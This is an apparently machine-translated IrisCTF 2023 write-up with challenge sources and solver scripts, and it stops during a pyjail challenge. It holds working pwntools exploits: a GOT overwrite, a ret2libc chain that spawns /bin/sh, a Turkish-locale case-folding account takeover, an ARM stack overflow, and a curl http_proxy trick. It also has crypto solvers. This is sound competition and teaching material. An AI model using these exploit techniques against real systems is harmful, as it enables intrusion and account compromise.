IrisCTF 2023 WriteUps
This article is automatically translated by LLM, so the translation may be inaccurate or incomplete. If you find any mistake, please let me know.
You can find the original article here .
After solving a few problems in RWCTF and feeling that there were no types I was good at, I came to solo this event. Although I started after 1/4 of the time had passed, I still managed to get fifth place with nyahello
.
Binary Exploitation
babyseek
#include <stdlib.h>
#include <stdio.h>
void win() {
system("cat /flag");
}
int main(int argc, char *argv[]) {
// This is just setup
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
printf("Your flag is located around %p.\n", win);
FILE* null = fopen("/dev/null", "w");
int pos = 0;
void* super_special = &win;
fwrite("void", 1, 4, null);
printf("I'm currently at %p.\n", null->_IO_write_ptr);
printf("I'll let you write the flag into nowhere!\n");
printf("Where should I seek into? ");
scanf("%d", &pos);
null->_IO_write_ptr += pos;
fwrite(&super_special, sizeof(void*), 1, null);
exit(0);
}
checksec:
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
Since it is No RELRO, you can directly overwrite exit@got
, and this only requires calculating the offset between _IO_write_ptr
and exit@got
.
from pwn import *
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b'with:\n ')
cmd = io.recvlineS().strip()
print(cmd)
if input('Ok? ').lower().strip() != 'y':
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b'Solution? ', out)
elf = ELF("./chal")
# io = process("./chal")
io = remote("seek.chal.irisc.tf", 10004)
solve_pow(io)
io.recvuntil(b"around ")
win = int(io.recvuntilS(b".", drop=True), 16)
io.recvuntil(b"at ")
cur = int(io.recvuntilS(b".", drop=True), 16)
base = win - elf.sym["win"]
to_write = elf.got["exit"] + base
io.sendline(str(to_write - cur).encode())
io.interactive()
# irisctf{not_quite_fseek}
ret2libm
#include <math.h>
#include <stdio.h>
// gcc -fno-stack-protector -lm
int main(int argc, char* argv) {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
char yours[8];
printf("Check out my pecs: %p\n", fabs);
printf("How about yours? ");
gets(yours);
printf("Let's see how they stack up.");
return 0;
}
checksec:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
It gives you the address of libm, so initially, I wanted to manually ROP to call execve("/bin/sh", 0, 0)
, but I couldn't find /bin/sh
in libm, and there was no syscall; ret
gadget available, so I gave up on that route. Later, I observed that the offset between libc and libm is fixed, so I could determine where libc is, making it a very standard ret2libc.
from pwn import *
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b"with:\n ")
cmd = io.recvlineS().strip()
print(cmd)
if input("Ok? ").lower().strip() != "y":
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b"Solution? ", out)
# context.log_level = 'debug'
context.arch = "amd64"
context.terminal = ["tmux", "splitw", "-h"]
libm = ELF("./libm-2.27.so")
libc = ELF("./libc-2.27.so")
# io = process("./chal.patched")
# io = gdb.debug('./chal.patched', 'b *(main+159)\nc')
io = remote("ret2libm.chal.irisc.tf", 10001)
solve_pow(io)
io.recvuntil(b"pecs: ")
libm_base = int(io.recvlineS().strip(), 16) - libm.sym["fabs"]
print(f"{libm_base = :#x}")
libm.address = libm_base
libc.address = libm_base - 0x3F1000
sh = next(libc.search(b"/bin/sh\x00"))
r = ROP(libc)
r.call("execve", [sh, 0, 0])
io.sendline(b"x" * 16 + r.chain())
io.interactive()
# irisctf{oh_its_ret2libc_anyway}
baby?socat
run.sh:
#!/bin/bash
echo -n "Give me your command: "
read -e -r input
input="exec:./chal ls $input"
FLAG="fakeflg{REDACTED}" socat - "$input" 2>&0
chal.c:
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char *argv[]) {
if(argc < 2) return -1;
if(setenv("FLAG", "NO!", 1) != 0) return -1;
execvp(argv[1], argv+1);
return 0;
}
The intended solution for this problem is to exploit a bug in socat's address parser when handling quotes, but I solved it with an unintended method. The method is simply RTFM: man socat
. In the ADDRESS SPECIFICATIONS
section, it mentions that it supports !!
as dual address specifications, with the former as the read source and the latter as the write target. So you just need to input /!!exec:env
to solve it.
irisctf{they_even_fixed_it_for_unbalanced_double_quotes}
Michael Bank
using System.Globalization;
using System.Linq;
using System.Net.Http.Headers;
namespace MichaelBank
{
class Program
{
static Dictionary<string, float> curConv = new();
static HashSet<string> users = new();
static Dictionary<string, string> userPasswords = new(StringComparer.InvariantCultureIgnoreCase);
static Dictionary<string, float> userBalances = new(StringComparer.InvariantCultureIgnoreCase);
static string loggedInUser = "anon";
static void SetupUsers()
{
users.Add("michael");
userPasswords["michael"] = File.ReadAllText("michael_password.txt");
userBalances["michael"] = 999966.85f;
users.Add("bob");
userPasswords["bob"] = "bob";
userBalances["bob"] = 25.35f;
}
static void SetupCurrencyConversion()
{
CultureInfo.CurrentCulture = new CultureInfo("en-US");
var ccLines = File.ReadAllLines("currency_conversion.txt");
for (var i = 1; i < ccLines.Length; i++)
{
var line = ccLines[i];
var firstSpace = line.IndexOf(' ');
var firstParens = line.LastIndexOf('(');
var lastParens = line.LastIndexOf(')');
var value = float.Parse(line.Substring(0, firstSpace));
var curName = line.Substring(firstParens + 1, lastParens - firstParens - 1);
curConv[curName] = value;
}
}
static string GetCurrencySymbol()
{
var curCulture = CultureInfo.CurrentCulture;
var regionName = curCulture.Name.Substring(curCulture.Name.IndexOf('_') + 1);
var ri = new RegionInfo(regionName);
return ri.ISOCurrencySymbol;
}
static void CreateAccount()
{
Console.Write("Type username: ");
var username = Console.ReadLine()!;
Console.Write("Type password: ");
var password = Console.ReadLine()!;
foreach (var user in users)
{
if (user.ToLower() == username.ToLower())
{
Console.WriteLine("User already exists in database!");
return;
}
}
if (users.Count > 10000)
{
Console.WriteLine("Database has too many users! Check back later.");
return;
}
users.Add(username.ToLower());
userPasswords[username] = password;
}
static void LogIn()
{
Console.Write("Type username: ");
var username = Console.ReadLine()!;
Console.Write("Type password: ");
var password = Console.ReadLine()!;
var success = false;
foreach (var user in users)
{
if (user == username.ToLower())
{
if (userPasswords[user] == password)
{
Console.WriteLine("Success");
success = true;
loggedInUser = user;
}
}
}
if (!success)
{
Console.WriteLine("No login matched.");
}
}
static string GetMoneyInConvertedCurrency(float usd)
{
var curSymbol = GetCurrencySymbol();
var convertedStr = $"{usd * curConv[curSymbol]} {curSymbol}";
return convertedStr;
}
static void CheckBalance()
{
if (loggedInUser == "anon")
{
Console.WriteLine("Not logged in.");
return;
}
if (!userBalances.ContainsKey(loggedInUser))
{
userBalances[loggedInUser] = 5.0f;
}
else if (userBalances[loggedInUser] > 1000000)
{
Console.WriteLine("Wow, you have a million dollars! Here's the flag!");
Console.WriteLine(File.ReadAllText("flag.txt"));
return;
}
var balance = userBalances[loggedInUser];
var convertedStr = GetMoneyInConvertedCurrency(balance);
Console.WriteLine("Current balance: " + convertedStr);
}
static void CheckMoneyLeaderboard()
{
var balances = userBalances.AsEnumerable().OrderBy(p => -p.Value);
foreach (var balancePair in balances)
{
var convertedStr = GetMoneyInConvertedCurrency(balancePair.Value);
Console.WriteLine($"{balancePair.Key}: {convertedStr}");
}
}
static void ChangeCurrency()
{
while (true)
{
Console.Write("Type language code to use its currency: ");
var localeStr = Console.ReadLine()!;
try
{
var cultureInf = new CultureInfo(localeStr);
CultureInfo.CurrentCulture = cultureInf;
var curSymbol = GetCurrencySymbol();
if (!curConv.ContainsKey(curSymbol))
{
Console.WriteLine("Currency not in database.");
continue;
}
Console.WriteLine("New currency: " + curSymbol);
return;
}
catch
{
Console.WriteLine("Not a valid code.");
}
}
}
static void SendMoney()
{
if (loggedInUser == "anon")
{
Console.WriteLine("Not logged in.");
return;
}
if (!userBalances.ContainsKey(loggedInUser))
{
userBalances[loggedInUser] = 5.0f;
}
Console.WriteLine("Amount in USD: ");
var amountStr = Console.ReadLine()!;
if (!float.TryParse(amountStr, out float amount))
{
Console.WriteLine("Invalid amount.");
return;
}
else if (amount < 0.0f)
{
Console.WriteLine("You cannot send negative money.");
return;
}
else if (amount > userBalances[loggedInUser])
{
Console.WriteLine("You don't have enough money for that.");
return;
}
Console.WriteLine("Who to send to: ");
var sendToUser = Console.ReadLine()!;
foreach (var user in users)
{
if (user == sendToUser.ToLower())
{
userBalances[loggedInUser] -= amount;
userBalances[user] += amount;
Console.WriteLine("Done.");
return;
}
}
Console.WriteLine("User not in database.");
}
static void Main(string[] args)
{
SetupUsers();
SetupCurrencyConversion();
Console.WriteLine("Welcome to Michael Bank! What would you like to do?");
while (true)
{
Console.WriteLine("1. Create an account");
Console.WriteLine("2. Log in");
Console.WriteLine("3. Check balance");
Console.WriteLine("4. Check leaderboard");
Console.WriteLine("5. Change currency");
Console.WriteLine("6. Send money");
Console.WriteLine("7. Exit");
var choice = Console.ReadLine();
Console.WriteLine();
try
{
switch (choice)
{
case "1": CreateAccount(); break;
case "2": LogIn(); break;
case "3": CheckBalance(); break;
case "4": CheckMoneyLeaderboard(); break;
case "5": ChangeCurrency(); break;
case "6": SendMoney(); break;
case "7": return;
default: Console.WriteLine("Not a valid choice."); break;
}
} catch { }
Console.WriteLine();
Console.WriteLine("What would you like to do?");
}
}
}
}
The key to this problem is that it changes CurrentCulture
when converting currency, and uses ToLower
during login. This reminded me of the article Hacking GitHub with Unicode's dotless 'i'. Testing it, I found that in the tr
(Turkish) locale, I
is converted to ı
, while in en-US
it becomes i
. So you just need to register in the tr
locale and then switch back to en-US
to log in to the michael account.
Then you just need to top up the money to the target amount to get the flag.
from pwn import *
import string
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b"with:\n ")
cmd = io.recvlineS().strip()
print(cmd)
if input("Ok? ").lower().strip() != "y":
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b"Solution? ", out)
# context.log_level = 'debug'
# io = process(['dotnet', 'run'])
io = remote("michaelbank.chal.irisc.tf", 10003)
solve_pow(io)
mi = "mIchael"
def create(u, p):
io.sendline(b"1")
io.sendlineafter(b"username: ", u.encode())
io.sendlineafter(b"password: ", p.encode())
def login(u, p):
io.sendline(b"2")
io.sendlineafter(b"username: ", u.encode())
io.sendlineafter(b"password: ", p.encode())
def send(money, t):
io.sendline(b"6")
io.sendlineafter(b"USD: ", str(money).encode())
io.sendlineafter(b"to: ", t.encode())
def change(c):
io.sendline(b"5")
io.sendlineafter(b"currency: ", c.encode())
for x in string.ascii_lowercase[:10]:
create(x, x)
login(x, x)
send(5, mi)
change("tr")
create(mi, mi)
change("en-US")
login(mi, mi)
io.sendline(b"3")
io.interactive()
# https://archive.is/Qamyv
# irisctf{I_never_wanna_deal_with_i's_again}
Infinite Descent
This problem involves an ARM firmware.
#include <stdlib.h>
char volatile* end_of_the_tunnel = "fakeflg{REDACTED_REDACTED_REDA}";
char readbuf[5] = {0};
char* last_message = "(You didn't write anything)";
#define UART0DR (char*)0x4000c000
// https://github.com/qemu/qemu/blob/master/tests/tcg/arm/semicall.h
unsigned int __semi_call(unsigned int type, unsigned int arg0)
{
register unsigned int t asm("r0") = type;
register unsigned int a0 asm("r1") = arg0;
# define SVC "bkpt 0xab"
asm(SVC : "=r" (t)
: "r" (t), "r" (a0));
return t;
}
void WRITE(const char* data) {
__semi_call(0x04, (unsigned int)data);
}
void READ(char* dest, size_t n) {
for(size_t i = 0; i < n; i++) {
*(dest + i) = __semi_call(0x07, 0x00) & 0xff;
}
}
void descend() {
WRITE("How many characters do you write in the ground (up to 4096)? Send exactly 4 digits and the newline.\n");
READ(readbuf, 4 + 1);
readbuf[4] = 0;
long int n = strtol(readbuf, NULL, 10);
if(n <= 0 || n > 4096) { return; }
{
WRITE("Send n characters and the newline.\n");
char input[n+1];
last_message = input;
READ(input, (size_t)n+1);
descend();
}
}
int main() {
WRITE("Welcome to my tunnel.\n");
descend();
WRITE("You run out of energy and pass away.\n");
WRITE("Your final message is: ");
WRITE(last_message);
WRITE("\nGoodbye.\n");
return 0;
}
void _start() {
main();
while(1) {}
}
#!/bin/sh
qemu-system-arm -machine lm3s6965evb -cpu cortex-m3 -m 4096 --chardev stdio,id=stdio -semihosting --semihosting-config enable=on,target=native,chardev=stdio -device loader,file=chal.elf -machine accel=tcg -d int,cpu_reset -display none -S -gdb tcp::8889 2>/dev/null
# to debug, add -s -S and connect with gdb-multiarch
It uses ARM semihosting for input and output, which can be thought of as a syscall (X) for I/O, but that is unrelated to this problem.
In summary, you can use the descend
function to continuously recurse, theoretically leading to a stack overflow. However, the key to this problem is that it is firmware, so its memory layout might be different from what we expect.
I first set up a debug environment, installed gdb-multiarch
, and added -S -gdb tcp::8899
to the qemu command to open it on port 8899. (-s
means -gdb tcp::1234
)
Then, in another window, open gdb-multiarch chal.elf
and connect using target remote:8889
. Since I use gef, I used gef-remote --qemu-binary chal.elf localhost 8889
for better integration.
To make the
context
command work, you need to run it as root, so addsudo -E
(Ref)
Since there are symbols, finding addresses is easy. Testing shows that the text segment and literal strings are close to 0
. The data and stack are at 20000000
and 2000c000
respectively, with no protection in between!!! (You can also use readelf -A chal.elf
)
So, you just need to let the stack overflow upwards until input
includes &last_message
, then you can change its content to the flag's location. When it returns to main, it will print the flag.
from pwn import *
import os
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b"with:\n ")
cmd = io.recvlineS().strip()
print(cmd)
if input("Ok? ").lower().strip() != "y":
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b"Solution? ", out)
context.log_level = "debug"
# io = process("docker run --name iii -v $PWD:/home/user --rm -i -p 8889:8889 iii", shell=True)
io = remote("infinitedescent.chal.irisc.tf", 10002)
solve_pow(io)
stk = 0x2000FFB8 + 56
last_msg = 0x20000070
target = 0x2740
try:
while stk >= last_msg:
alloc_size = min(4096, stk - last_msg - 56)
io.sendafter(b"newline.\n", (str(alloc_size).rjust(4, "0") + "\n").encode())
io.sendafter(b"newline.\n", p32(target) * (alloc_size // 4) + b"\n")
stk -= alloc_size
stk -= 56
print("alloc", alloc_size)
print(hex(stk))
io.sendline(b"0000\n")
io.interactive()
finally:
os.system("docker kill iii")
# irisctf{no_protection_for_stak}
You will need to use gdb for some debugging to calculate positions, so I wrote a gdb python script to assist:
gdb.execute('gef config context.enable 0')
gdb.execute('gef-remote --qemu-binary chal.elf localhost 8889')
gdb.execute('b *(descend+142)')
gdb.execute('c')
for _ in range(16):
gdb.execute('p/x $r0')
gdb.execute('c')
# gdb-multiarch chal.elf -x sss.py
Additionally, the problem statement mentions that you can build it yourself. Download the files from ARM-software/CMSIS_5 release, extract them to the CMSIS_5
folder, and install arm-none-eabi-gcc
and arm-none-eabi-newlib
packages (Arch Linux) to make and compile.
Cryptography
babynotrsa
Modular inverse solves it.
babymixup
from Crypto.Cipher import AES
import os
key = os.urandom(16)
flag = b"flag{REDACTED}"
assert len(flag) % 16 == 0
iv = os.urandom(16)
cipher = AES.new(iv, AES.MODE_CBC, key)
print("IV1 =", iv.hex())
print("CT1 =", cipher.encrypt(b"Hello, this is a public message. This message contains no flags.").hex())
iv = os.urandom(16)
cipher = AES.new(key, AES.MODE_CBC, iv )
print("IV2 =", iv.hex())
print("CT2 =", cipher.encrypt(flag).hex())
Use the first set to deduce the key, then decrypt the flag.
from Crypto.Cipher import AES
import os
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
iv1 = bytes.fromhex("4ee04f8303c0146d82e0bbe376f44e10")
ct1 = bytes.fromhex(
"de49b7bb8e3c5e9ed51905b6de326b39b102c7a6f0e09e92fe398c75d032b41189b11f873c6cd8cdb65a276f2e48761f6372df0a109fd29842a999f4cc4be164"
)
iv2 = bytes.fromhex("1fe31329e7c15feadbf0e43a0ee2f163")
ct2 = bytes.fromhex(
"f6816a603cefb0a0fd8a23a804b921bf489116fcc11d650c6ffb3fc0aae9393409c8f4f24c3d4b72ccea787e84de7dd0"
)
pt = b"Hello, this is a public message. This message contains no flags."
key = xor(AES.new(iv1, AES.MODE_ECB).decrypt(ct1[:16]), pt)
cipher = AES.new(key, AES.MODE_CBC, iv2)
print(cipher.decrypt(ct2))
# irisctf{the_iv_aint_secret_either_way_using_cbc}
Nonces and Keys
This problem uses AES-128-OFB
with the key 0x13371337133713371337133713371337
to encrypt a sqlite3
file. Since the header is known, you can deduce the IV, then decrypt and restore the db file, and select inside to get the flag.
from Crypto.Cipher import AES
with open("challenge_enc.sqlite3", "rb") as f:
ct = f.read()
def xor(a, b):
return bytes([x ^ y for x, y in zip(a, b)])
hdr = b"SQLite format 3\x00"
key = bytes.fromhex("13371337133713371337133713371337")
ecb = AES.new(key, AES.MODE_ECB)
iv = ecb.decrypt(xor(hdr, ct))
with open("challenge.sqlite3", "wb") as f:
f.write(AES.new(key, AES.MODE_OFB, iv).decrypt(ct))
# irisctf{g0tt4_l0v3_s7re4mciph3rs}
SMarT 1
A home-rolled cipher, which is a 2-round SPN (probably), and the sbox uses AES.
For the first problem, it implements encrypt
, and the problem gives you the key, so you can implement decrypt
. I directly used copilot to assist in writing it XD.
from pwn import xor
# I don't know how to make a good substitution box so I'll refer to AES. This way I'm not actually rolling my own crypto
# fmt: off
SBOX = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
TRANSPOSE = [[3, 1, 4, 5, 6, 7, 0, 2],
[1, 5, 7, 3, 0, 6, 2, 4],
[2, 7, 5, 4, 0, 6, 1, 3],
[2, 0, 1, 6, 4, 3, 5, 7],
[6, 5, 0, 3, 2, 4, 1, 7],
[2, 0, 6, 1, 5, 7, 4, 3],
[1, 6, 2, 5, 0, 7, 4, 3],
[4, 5, 6, 1, 2, 3, 7, 0]]
RR = [4, 2, 0, 6, 9, 3, 5, 7]
# fmt: on
def rr(c, n):
n = n % 8
return ((c << (8 - n)) | (c >> n)) & 0xFF
def rl(c, n):
n = n % 8
return ((c << n) | (c >> (8 - n))) & 0xFF
import secrets
ROUNDS = 2
MASK = secrets.token_bytes(8)
KEYLEN = 4 + ROUNDS * 4
def encrypt(block, key):
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)
for r in range(ROUNDS):
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
for i in range(8):
block[i] = SBOX[block[i]]
block[i] = rr(block[i], RR[i])
temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i
block = temp
block = xor(block, MASK)
return block
def decrypt(block, key):
# this is actually written by copilot :)
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)
for r in reversed(range(ROUNDS)):
block = xor(block, MASK)
temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[i] |= ((block[j] >> i) & 1) << TRANSPOSE[i][j]
block = temp
for i in reversed(range(8)):
block[i] = rl(block[i], RR[i])
block[i] = SBOX.index(block[i])
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
return block
def ecb(pt, key):
if len(pt) % 8 != 0:
pt = pt.ljust(len(pt) + (8 - len(pt) % 8), b"\x00")
out = b""
for i in range(0, len(pt), 8):
out += encrypt(pt[i : i + 8], key)
return out
def ecb_decrypt(ct, key):
if len(ct) % 8 != 0:
ct = ct.ljust(len(ct) + (8 - len(ct) % 8), b"\x00")
out = b""
for i in range(0, len(ct), 8):
out += decrypt(ct[i : i + 8], key)
return out
MASK = bytes.fromhex("3d5e286c30e3af35")
key = bytes.fromhex("bc62c0b71ac3ebb55c01ca09")
fct = bytes.fromhex("efb6d7f1a2ddefdd04567cedb6d2a6c5fa8b96ad26f92fb1b0b55ad6a13838c6")
print(ecb_decrypt(fct, key))
SMarT 2
Continuing from the previous problem, this time there is no key, so you need to deduce the key from known plaintext/ciphertext pairs.
From the problem name, the capital letters SMT suggest using z3, so I rewrote the encrypt
function in z3, and it worked.
from z3 import *
from pwn import xor
# I don't know how to make a good substitution box so I'll refer to AES. This way I'm not actually rolling my own crypto
# fmt: off
SBOX = [99, 124, 119, 123, 242, 107, 111, 197, 48, 1, 103, 43, 254, 215, 171, 118, 202, 130, 201, 125, 250, 89, 71, 240, 173, 212, 162, 175, 156, 164, 114, 192, 183, 253, 147, 38, 54, 63, 247, 204, 52, 165, 229, 241, 113, 216, 49, 21, 4, 199, 35, 195, 24, 150, 5, 154, 7, 18, 128, 226, 235, 39, 178, 117, 9, 131, 44, 26, 27, 110, 90, 160, 82, 59, 214, 179, 41, 227, 47, 132, 83, 209, 0, 237, 32, 252, 177, 91, 106, 203, 190, 57, 74, 76, 88, 207, 208, 239, 170, 251, 67, 77, 51, 133, 69, 249, 2, 127, 80, 60, 159, 168, 81, 163, 64, 143, 146, 157, 56, 245, 188, 182, 218, 33, 16, 255, 243, 210, 205, 12, 19, 236, 95, 151, 68, 23, 196, 167, 126, 61, 100, 93, 25, 115, 96, 129, 79, 220, 34, 42, 144, 136, 70, 238, 184, 20, 222, 94, 11, 219, 224, 50, 58, 10, 73, 6, 36, 92, 194, 211, 172, 98, 145, 149, 228, 121, 231, 200, 55, 109, 141, 213, 78, 169, 108, 86, 244, 234, 101, 122, 174, 8, 186, 120, 37, 46, 28, 166, 180, 198, 232, 221, 116, 31, 75, 189, 139, 138, 112, 62, 181, 102, 72, 3, 246, 14, 97, 53, 87, 185, 134, 193, 29, 158, 225, 248, 152, 17, 105, 217, 142, 148, 155, 30, 135, 233, 206, 85, 40, 223, 140, 161, 137, 13, 191, 230, 66, 104, 65, 153, 45, 15, 176, 84, 187, 22]
TRANSPOSE = [[3, 1, 4, 5, 6, 7, 0, 2],
[1, 5, 7, 3, 0, 6, 2, 4],
[2, 7, 5, 4, 0, 6, 1, 3],
[2, 0, 1, 6, 4, 3, 5, 7],
[6, 5, 0, 3, 2, 4, 1, 7],
[2, 0, 6, 1, 5, 7, 4, 3],
[1, 6, 2, 5, 0, 7, 4, 3],
[4, 5, 6, 1, 2, 3, 7, 0]]
RR = [4, 2, 0, 6, 9, 3, 5, 7]
# fmt: on
def rr(c, n):
n = n % 8
return ((c << (8 - n)) | (c >> n)) & 0xFF
def rr_z3(c, n):
n = n % 8
return ((c << (8 - n)) | LShR(c, n)) & 0xFF
def rl(c, n):
n = n % 8
return ((c << n) | (c >> (8 - n))) & 0xFF
import secrets
ROUNDS = 2
MASK = secrets.token_bytes(8)
KEYLEN = 4 + ROUNDS * 4
def encrypt(block, key):
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)
for r in range(ROUNDS):
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
for i in range(8):
block[i] = SBOX[block[i]]
block[i] = rr(block[i], RR[i])
temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i
block = temp
block = xor(block, MASK)
return block
sol = Solver()
z3_sbox = Function("sbox", BitVecSort(8), BitVecSort(8))
for i in range(256):
sol.add(z3_sbox(i) == SBOX[i])
def encrypt_z3(block, key):
assert len(block) == 8
assert len(key) == KEYLEN
for r in range(ROUNDS):
block = [block[i] ^ key[r * 4 + i] for i in range(8)]
for i in range(8):
block[i] = z3_sbox(block[i])
block[i] = rr_z3(block[i], RR[i])
temp = [BitVecVal(0, 8) for _ in range(8)]
for i in range(8):
for j in range(8):
temp[j] |= ((block[i] >> TRANSPOSE[i][j]) & 1) << i
block = temp
block = [block[i] ^ MASK[i] for i in range(8)]
return block
def decrypt(block, key):
# this is actually written by copilot :)
assert len(block) == 8
assert len(key) == KEYLEN
block = bytearray(block)
for r in reversed(range(ROUNDS)):
block = xor(block, MASK)
temp = bytearray(8)
for i in range(8):
for j in range(8):
temp[i] |= ((block[j] >> i) & 1) << TRANSPOSE[i][j]
block = temp
for i in reversed(range(8)):
block[i] = rl(block[i], RR[i])
block[i] = SBOX.index(block[i])
block = bytearray(xor(block, key[r * 4 : (r + 2) * 4]))
return block
def ecb(pt, key):
if len(pt) % 8 != 0:
pt = pt.ljust(len(pt) + (8 - len(pt) % 8), b"\x00")
out = b""
for i in range(0, len(pt), 8):
out += encrypt(pt[i : i + 8], key)
return out
def ecb_decrypt(ct, key):
if len(ct) % 8 != 0:
ct = ct.ljust(len(ct) + (8 - len(ct) % 8), b"\x00")
out = b""
for i in range(0, len(ct), 8):
out += decrypt(ct[i : i + 8], key)
return out
MASK = bytes.fromhex("1f983a40c3f801b1")
test_pairs = [
["4b0c569de9bf6510", "3298255d5314ad33"],
["5d81105912c7f421", "805146efee62f09f"],
["6e23f94180be2378", "207a88ced8ab64d1"],
["9751eeee344a8c74", "0b561354ebbb50fa"],
["f4fbf94509aaea25", "4ba4dc46bbde5c63"],
["3e571e4e9604769e", "10820c181de8c1df"],
["1f7b64083d9121e8", "0523ce32dd7a9f02"],
["69b3dfd8765d4267", "23c8d59a34553207"],
]
test_pairs = [[bytes.fromhex(a), bytes.fromhex(b)] for a, b in test_pairs]
fct = bytes.fromhex(
"ceb51064c084e640690c31bf55c1df4950bc81b484f559dce0ae7d509aa0fe07f7ee127e9ecb05eb4b1b58b99494f72c0b4f3f5fe351c1cb"
)
key_sym = [BitVec(f"key{i}", 8) for i in range(KEYLEN)]
for pt, ct in test_pairs:
ct_sym = encrypt_z3(list(pt), key_sym)
for a, b in zip(ct_sym, ct):
sol.add(a == b)
assert sol.check() == sat
m = sol.model()
key = bytes([m.eval(x).as_long() for x in key_sym])
print(key)
flag = ecb_decrypt(fct, key)
print(flag)
# irisctf{if_you_didnt_use_a_smt_solver_thats_cool_too}
However, since this problem only has 2 rounds, as others have said, it can be reduced to S(pt^key1)^key2 = ct
, and then brute-forced byte by byte.
Miscellaneous
Name that song
This problem gives a song file and asks you to find the original song name. Since it is not a common song, tools like Shazam are useless.
I first discovered in VLC that it provides instrument information, and using strings
I found some text like SNR56.WAV
. Googling it led me to The Mod Archive, which has many similar types of music.
However, the first result I found by Googling SNR56.WAV
was not correct, so I switched to Yandex and found moon gun, and listening to it, it was the correct song.
irisctf{moon_gun}
Host Issues
chal_serv.py:
from flask import Flask, request
import string
from base64 import urlsafe_b64decode as b64decode
app = Flask(__name__)
BAD_ENV = ["LD", "LC", "PATH", "ORIGIN"]
@app.route("/env")
def env():
data = b64decode(request.args['q']).decode()
print(data)
if any(c in data.upper() for c in BAD_ENV) \
or any(c not in string.printable for c in data):
return {"ok": 0}
return {"ok": 1}
@app.route("/flag")
def flag():
with open("flag", "r") as f:
flag = f.read()
return {"flag": flag}
app.run(port=25566)
chal.py:
import os
import subprocess
import json
from base64 import urlsafe_b64encode as b64encode
BANNER = """
Welcome to my insecure temporary data service!
1) Write data
2) Read data
"""
REMOTE = "http://0:25566/"
def check(url):
return json.loads(subprocess.check_output(["curl", "-s", url]))
print(BANNER)
while True:
choice = input("> ")
try:
print(check("http://flag_domain:25566/flag"))
except subprocess.CalledProcessError: pass
try:
if choice == '1':
env = input("Name? ")
if check(REMOTE + "env?q=" + b64encode(env.encode()).decode())["ok"]:
os.environ[env] = input("Value? ")
else:
print("No!")
elif choice == '2':
env = input("Name? ")
if check(REMOTE + "env?q=" + b64encode(env.encode()).decode())["ok"]:
if env in os.environ:
print(os.environ[env])
else:
print("(Does not exist)")
else:
print("No!")
else:
print("Bye!")
exit()
except Exception as e:
print(e)
exit()
chal.sh:
#!/bin/bash
(&>/dev/null python3 /home/user/chal_serv.py)&
python3 /home/user/chal.py 2>&1
The goal of this problem is clear: to control the environment variables so that http://flag_domain:25566/flag
fetches the flag. I first man curl
and found the http_proxy
environment variable, then set it to http://127.0.0.1:25566/
, so curl sends this request to the proxy server:
GET http://flag_domain:25566/flag HTTP/1.1
Host: flag_domain:25566
User-Agent: curl/7.87.0
Accept: */*
Proxy-Connection: Keep-Alive
And the flask server accepts it, so you get the flag.
irisctf{very_helpful_error_message}
However, the intended solution uses RESOLV_HOST_CONF
to read files, which can be found in glibc here.
Nameless
pyjail
#!/usr/bin/python3
code_type = type(compile("1", "Code", "exec"))
go = input("Code: ")
res = compile(go, "home", "eval")
def clear(code):
print(">", code.co_names)
new_consts = []
for const in code.co_consts:
print("C:", const)
if isinstance(const, code_type):
new_consts.append(clear(const))
elif isinstance(const, int):
new_consts.append(0)
elif isinstance(const, str):
new_consts.append("")
elif isinstance(const, tuple):
new_consts.append(tuple(None for _ in range(len(const))))
else:
new_consts.append(None)
return code.replace(co_names=(), co_consts=tuple(new_consts))
res = clear(res)
del clear
del go
del code_type
# Go!
